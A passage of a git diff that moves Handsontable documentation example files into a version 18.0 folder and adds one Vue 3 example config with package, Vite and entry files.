b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__react__example7.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__react__example7.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__react__example7.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__react__example7.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__react__example8.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__react__example8.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__react__example8.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__react__example8.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__react__example9.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__react__example9.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__react__example9.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__react__example9.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__vue__example10.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__vue__example10.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__vue__example10.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__vue__example10.vue.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__vue__example11.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__vue__example11.vue.json new file mode 100644 index 00000000..b0710b73 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__vue__example11.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Columns ▸ Column summary · Throw data type errors · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example11\");","/src/App.vue":"\n\n"},"docsPath":"guides/columns/column-summary/vue/example11.vue","breadcrumb":["Columns","Column summary"],"guide":"guides/columns/column-summary/column-summary.md","guideTitle":"Column summary","exampleId":"example11","exampleTitle":"Throw data type errors","docPermalink":"/column-summary","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__vue__example12.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__vue__example12.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__vue__example12.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__vue__example12.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__vue__example7.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__vue__example7.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__vue__example7.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__vue__example7.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__vue__example8.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__vue__example8.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__vue__example8.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__vue__example8.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-summary__vue__example9.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__vue__example9.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-summary__vue__example9.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-summary__vue__example9.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-virtualization__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-virtualization__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-virtualization__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-virtualization__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-virtualization__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-virtualization__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-virtualization__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-virtualization__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-virtualization__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-virtualization__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-virtualization__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-virtualization__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-virtualization__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-virtualization__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-virtualization__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-virtualization__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-virtualization__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-virtualization__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-virtualization__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-virtualization__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__angular__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__angular__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__angular__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__angular__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__angular__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__angular__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__angular__example5.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__angular__example5.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__angular__example5.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__angular__example6.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__angular__example6.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__angular__example6.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__angular__example6.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__javascript__example3.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example3.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__javascript__example3.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__javascript__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__javascript__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__javascript__example4.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example4.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__javascript__example4.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__javascript__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__javascript__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example5.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__javascript__example5.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example5.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__javascript__example5.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example5.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__javascript__example5.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example5.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__javascript__example5.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example6.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__javascript__example6.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example6.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__javascript__example6.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example6.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__javascript__example6.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__javascript__example6.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__javascript__example6.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__react__example3.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__react__example3.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__react__example3.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__react__example4.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__react__example4.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__react__example4.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__react__example5.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__react__example5.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__react__example5.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__react__example5.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__react__example6.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__react__example6.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__react__example6.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__react__example6.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__vue__example3.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__vue__example3.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__vue__example3.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__vue__example4.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__vue__example4.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__vue__example4.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__vue__example5.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__vue__example5.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__vue__example5.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__vue__example5.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__column-width__vue__example6.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__vue__example6.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__column-width__vue__example6.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__column-width__vue__example6.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__react-hot-column__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__react-hot-column__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__react-hot-column__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__react-hot-column__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__columns__react-hot-column__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__columns__react-hot-column__react__example3.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__columns__react-hot-column__react__example3.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__columns__react-hot-column__react__example3.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__angular__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__angular__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__angular__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__angular__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__angular__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__angular__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__angular__example5.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__angular__example5.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__angular__example5.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__angular__example6.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__angular__example6.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__angular__example6.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__angular__example6.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__angular__example7.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__angular__example7.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__angular__example7.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__angular__example7.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__angular__example8.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__angular__example8.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__angular__example8.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__angular__example8.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example3.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example3.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example3.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example3.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example3.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example3.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example4.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example4.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example4.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example5.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example5.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example5.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example5.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example5.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example5.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example5.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example5.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example6.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example6.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example6.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example6.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example6.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example6.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example6.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example6.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example7.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example7.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example7.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example7.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example7.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example7.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example7.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example7.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example8.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example8.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example8.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example8.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example8.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example8.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__javascript__example8.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__javascript__example8.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__react__example3.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__react__example3.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__react__example3.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__dialog__dialog__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__dialog__dialog__react__example4.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__dialog__dialog__react__example4.tsx.json rename to 